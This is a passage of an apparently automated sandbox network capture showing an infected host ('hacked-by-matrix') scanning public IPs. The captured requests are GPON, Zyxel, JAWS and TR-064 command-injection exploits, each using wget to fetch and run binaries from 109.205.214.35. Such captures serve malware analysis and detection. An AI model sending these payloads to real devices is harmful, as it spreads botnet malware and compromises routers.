33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.14	46734	5.208.13.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.269179106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.14	53630	79.248.90.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.269217014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.14	58344	212.99.119.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.269237995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.14	58714	42.255.125.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.269334078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.14	39612	118.220.242.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.269346952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.14	36816	109.1.178.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.269387960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.14	51090	5.209.238.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:23.269462109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.14	40478	20.126.194.105	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:24.802535057 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.14	51272	46.242.179.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:24.832747936 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:25.026264906 CET	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:24 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.14	58296	173.34.66.30	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.272420883 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.14	58332	173.34.66.30	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.399372101 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.14	35392	72.27.100.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.580416918 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:25.724776983 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 04:22:25 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.14	36670	189.181.183.129	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.580622911 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:25.744206905 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.14	57834	94.122.123.12	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.618685007 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.14	35398	72.27.100.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.725047112 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:25.868822098 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 04:22:25 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>
Mar 21, 2024 05:22:26.600511074 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 04:22:25 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.14	36676	189.181.183.129	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.744570017 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:25.909327030 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.14	57840	94.122.123.12	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:25.844244003 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.14	60790	212.89.49.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.274971962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.14	60044	2.234.234.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.275011063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.14	38158	149.28.63.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:27.738929033 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:28.015285969 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:28.122591019 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:28 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 21, 2024 05:22:29.510216951 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:28 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.14	55268	45.223.23.203	5555

Timestamp	Bytes transferred	Direction	Data
